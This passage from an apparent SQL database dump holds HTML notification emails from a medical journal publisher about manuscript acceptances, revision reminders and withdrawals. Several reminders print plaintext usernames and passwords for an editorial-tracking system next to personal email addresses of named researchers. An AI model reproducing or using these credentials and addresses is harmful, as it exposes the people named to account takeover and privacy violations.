Accept','fisiolucasm@gmail.com',6910,'2020-12-24',48),(2416,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-6572</b><br />\r\n            <br />\r\n            Article Title: <b>Antibody testing for Covid-19: An open-labelled, pan-European prevalence study in front-line essential workers; UK and Ireland reporting</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Mohammad </b><br />\r\n            <br />\r\n            This is to bring to your notice that the article having  <b>ipaom-20-6572</b> for the <b>Archives of Medicine</b> is ready with its revised version.<br />\r\n            <br />\r\n            I would request you to take the assignment for handling this revised copy and expects a prompt decision from your side.<br />\r\n            <br />\r\n            Please submit your decision within 48 hours of submission failing of which will be considered as accepted for publication.<br />\r\n            <br />\r\n            Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Revision Submitted','mohammadrahmandr@gmail.com',6572,'2020-12-25',85),(2417,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-6572</b><br />\r\n            <br />\r\n            Article Title: <b>Antibody testing for Covid-19: An open-labelled, pan-European prevalence study in front-line essential workers; UK and Ireland reporting</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Bouilloux</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-12-24</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','Eric_Bouilloux@Accord-Healthcare.com',6572,'2020-12-25',85),(2432,'<table style=\"border:3px solid #cccccc\" width=\"663\" height=\"90\" cellspacing=\"4\" cellpadding=\"4\" border=\"0\" bgcolor=\"#ffffff\" align=\"center\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\" align=\"left\"><br />\r\n            Ref.:  Ms. No.  <b>ipaclr-20-6538</b><br />\r\n            <br />\r\n            Article Title: <b>Making a sway on emergency department flow: up patient process aided by advisor at sorting</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Leman J</b><br />\r\n            <br />\r\n            Journal Title: <b>Annals of Clinical and Laboratory Research</b><br />\r\n            <br />\r\n            Dear Dr. <b>Latinovic</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaclr-20-6538</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> olga_s<br />\r\n            <b>Password:</b> L3lYDvnM<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.aclr.com.es/\">Annals of Clinical and Laboratory Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','olatinovic@ihv.umaryland.edu',6538,'2021-01-02',984),(2433,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iptb-20-6880</b><br />\r\n            <br />\r\n            Article Title: <b>Sarcomatoid Anaplastic Carcinoma of the Thyroid: A Case Report</b><br />\r\n            <br />\r\n            Journal Title: <b>Translational Biomedicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Gliti</b><br />\r\n            <br />\r\n            As iMedPub LTD is concerned about the timelines, we are expecting the revision of <b>iptb-20-6880</b> by <b>DATE_REVISION_DUE</b>.<br />\r\n            <br />\r\n            If you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <b><a href=\"https://www.transbiomedicine.com/\">https://www.transbiomedicine.com/</a></b> and submit the revision.<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Username : <b>mohamed_ali</b><br />\r\n            Password : <b>mvlwG0xb</b><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Manging Editor,<br />\r\n            <b><a href=\"https://www.transbiomedicine.com/\">Translational Biomedicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Revision First Reminder','mohamed.ali.gliti@gmail.com',6880,'2021-01-02',673),(2434,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iptb-20-6863</b><br />\r\n            <br />\r\n            Article Title: <b>Primary nasal lymphoma: a case report</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.transbiomedicine.com/\" target=\"_blank\">Translational Biomedicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Gliti</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Translational Biomedicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-01-02</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@galleyproofs.com\">paymentproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.transbiomedicine.com/\">Translational Biomedicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','mohamed.ali.gliti@gmail.com',6863,'2021-01-02',673),(2435,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iptb-20-6732</b><br />\r\n            <br />\r\n            Article Title: <b>A STUDY OF PLACENTALVASCULAR CHANGES IN PRE-ECLAMPSIA</b><br />\r\n            <br />\r\n            Journal Title: <b>Translational Biomedicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Gamalathge</b><br />\r\n            <br />\r\n            As iMedPub LTD is concerned about the timelines, we are expecting the revision of <b>iptb-20-6732</b> by <b>DATE_REVISION_DUE</b>.<br />\r\n            <br />\r\n            If you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <b><a href=\"https://www.transbiomedicine.com/\">https://www.transbiomedicine.com/</a></b> and submit the revision.<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Username : <b>nilantha_pushpakumara</b><br />\r\n            Password : <b>3LwpgJUA</b><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Manging Editor,<br />\r\n            <b><a href=\"https://www.transbiomedicine.com/\">Translational Biomedicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Revision First Reminder','nilantha@med.sab.ac.lk',6732,'2021-01-02',673),(2437,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iptb-20-6732</b><br />\r\n            <br />\r\n            Article Title: <b>A STUDY OF PLACENTALVASCULAR CHANGES IN PRE-ECLAMPSIA</b><br />\r\n            <br />\r\n            Journal Title: <b>Translational Biomedicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Berezin</b><br />\r\n            <br />\r\n            It is to bring to your notice that the Ms. No. <b>iptb-20-6732</b> for the <b>Translational Biomedicine</b> has been withdrawn by the corresponding author.<br />\r\n            <br />\r\n            I would request you not to proceed further for the processing of this manuscript.<br />\r\n            <br />\r\n            Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.transbiomedicine.com/\">Translational Biomedicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice: Author Withdrawn','dr_berezin@mail.ru',6732,'2021-01-02',673),(2442,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipadm-20-6826</b><br />\r\n            <br />\r\n            Article Title: <b>Factores por los que las poblaci&Atilde;&sup3;n de Ciudad Guzm&Atilde;&iexcl;n no se vacuna </b><br />\r\n            <br />\r\n            Journal Title: <b>Archivos de Medicina</b><br />\r\n            <br />\r\n            Dear Dr. <b>Romero</b><br />\r\n            <br />\r\n            As iMedPub LTD is concerned about the timelines, we are expecting the revision of <b>ipadm-20-6826</b> by <b>DATE_REVISION_DUE</b>.<br />\r\n            <br />\r\n            If you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <b><a href=\"https://www.archivosdemedicina.com/\">https://www.archivosdemedicina.com/</a></b> and submit the revision.<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Username : <b>cynthia</b><br />\r\n            Password : <b>KG03BJEV</b><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Manging Editor,<br />\r\n            <b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Revision First Reminder','cynthiama17@gmail.com',6826,'2021-01-05',274),(2443,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipadm-20-6840</b><br />\r\n            <br />\r\n            Article Title: <b>ANEMIA EN ENFERMEDAD RENAL CRONICA</b><br />\r\n            <br />\r\n            Journal Title: <b>Archivos de Medicina</b><br />\r\n            <br />\r\n            Dear Dr. <b>Pajaro</b><br />\r\n            <br />\r\n            As iMedPub LTD is concerned about the timelines, we are expecting the revision of <b>ipadm-20-6840</b> by <b>DATE_REVISION_DUE</b>.<br />\r\n            <br />\r\n            If you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <b><a href=\"https://www.archivosdemedicina.com/\">https://www.archivosdemedicina.com/</a></b> and submit the revision.<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Username : <b>nehomar</b><br />\r\n            Password : <b>GV8UUOD7</b><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Manging Editor,<br />\r\n            <b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Revision First Reminder','neho94@hotmail.com',6840,'2021-01-05',274),(2444,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipadm-20-6843</b><br />\r\n            <br />\r\n            Article Title: <b>VACUNACI&Oacute;N EN PACIENTES CON ENFERMEDAD RENAL CR&Oacute;NICA</b><br />\r\n            <br />\r\n            Journal Title: <b>Archivos de Medicina</b><br />\r\n            <br />\r\n            Dear Dr. <b>Pajaro</b><br />\r\n            <br />\r\n            As iMedPub LTD is concerned about the timelines, we are expecting the revision of <b>ipadm-20-6843</b> by <b>DATE_REVISION_DUE</b>.<br />\r\n            <br />\r\n            If you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <b><a href=\"https://www.archivosdemedicina.com/\">https://www.archivosdemedicina.com/</a></b> and submit the revision.<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Username : <b>nehomar</b><br />\r\n            Password : <b>GV8UUOD7</b><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Manging Editor,<br />\r\n            <b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Revision First Reminder','neho94@hotmail.com',6843,'2021-01-05',274),(2447,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-7022</b><br />\r\n            <br />\r\n            Article Title: <b>unmet need of family planning and associated factor among married and union women with disability in southern Ethiopia </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>mesfin</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-01-06</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','hazardkuku@gmail.com',7022,'2021-01-06',48),(2448,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-7022</b><br />\r\n            <br />\r\n            Article Title: <b>unmet need of family planning and associated factor among married and union women with disability in southern Ethiopia </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>mesfin</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-01-06</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','hazardkuku@gmail.com',7022,'2021-01-06',48),(2449,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-7014</b><br />\r\n            <br />\r\n            Article Title: <b>An Autopsic Study on Bilateral Hypoplasia of the Posterior Communicating Arteries in Cerebrovascular Diseases</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Sava</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-01-06</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','dr_anca_sava@yahoo.com',7014,'2021-01-06',48),(2450,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-6996</b><br />\r\n            <br />\r\n            Article Title: <b>Delayed Diagnosis and Management of Second Trimester Cervical Ectopic Pregnancy - Case Report</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b> Eljabu</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-01-06</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','a.aljabu@infc.med.ly',6996,'2021-01-06',48),(2452,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iptb-20-6880</b><br />\r\n            <br />\r\n            Article Title: <b>Sarcomatoid Anaplastic Carcinoma of the Thyroid: A Case Report</b><br />\r\n            <br />\r\n            Journal Title: <b>Translational Biomedicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Berezin</b><br />\r\n            <br />\r\n            It is to bring to your notice that the Ms. No. <b>iptb-20-6880</b> for the <b>Translational Biomedicine</b> has been withdrawn by the corresponding author.<br />\r\n            <br />\r\n            I would request you not to proceed further for the processing of this manuscript.<br />\r\n            <br />\r\n            Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.transbiomedicine.com/\">Translational Biomedicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice: Author Withdrawn','dr_berezin@mail.ru',6880,'2021-01-08',673),(2455,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-7062</b><br />\r\n            <br />\r\n            Article Title: <b>Knowledge, Attitudes and Practices of King Abdulaziz Undergraduate Nursing towards Novel Corona Virus (COVID 19)</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Hasan</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-01-09</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','aalhasan@fcms.edu.sa',7062,'2021-01-09',48),(2456,'<p>Ref.:  Ms. No. : <b>ipadm-20-6826</b><br />\r\n<br />\r\nARTICLE TITLE: <b>Factores por los que las poblaci&Atilde;&sup3;n de Ciudad Guzm&Atilde;&iexcl;n no se vacuna </b><br />\r\n<br />\r\nJOURNAL: <b>Archivos de Medicina</b><br />\r\n<br />\r\nDear <b>Dr. Romero</b>,<br />\r\n<br />\r\nThe revision of <b>ipadm-20-6826</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>cynthia</b><br />\r\npassword: <b>KG03BJEV</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></p>',1,'Author Revision Subsequent Reminder','cynthiama17@gmail.com',6826,'2021-01-11',274),(2457,'<p>Ref.:  Ms. No. : <b>ipadm-20-6840</b><br />\r\n<br />\r\nARTICLE TITLE: <b>ANEMIA EN ENFERMEDAD RENAL CRONICA</b><br />\r\n<br />\r\nJOURNAL: <b>Archivos de Medicina</b><br />\r\n<br />\r\nDear <b>Dr. Pajaro</b>,<br />\r\n<br />\r\nThe revision of <b>ipadm-20-6840</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>nehomar</b><br />\r\npassword: <b>GV8UUOD7</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></p>',1,'Author Revision Subsequent Reminder','neho94@hotmail.com',6840,'2021-01-11',274),(2458,'<p>Ref.:  Ms. No. : <b>ipadm-20-6843</b><br />\r\n<br />\r\nARTICLE TITLE: <b>VACUNACI&Oacute;N EN PACIENTES CON ENFERMEDAD RENAL CR&Oacute;NICA</b><br />\r\n<br />\r\nJOURNAL: <b>Archivos de Medicina</b><br />\r\n<br />\r\nDear <b>Dr. Pajaro</b>,<br />\r\n<br />\r\nThe revision of <b>ipadm-20-6843</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>nehomar</b><br />\r\npassword: <b>GV8UUOD7</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></p>',1,'Author Revision Subsequent Reminder','neho94@hotmail.com',6843,'2021-01-11',274),(2459,'<p>Ref.:  Ms. No. : <b>ipadm-20-6960</b><br />\r\n<br />\r\nARTICLE TITLE: <b>AGONISTAS DEL RECEPTOR GLP-1: DESDE SU EFECTO FISIOLOGICO EN EL SISTEMA INCRETINA HASTA SU ROL EN ENFERMEDAD RENAL DIABETICA</b><br />\r\n<br />\r\nJOURNAL: <b>Archivos de Medicina</b><br 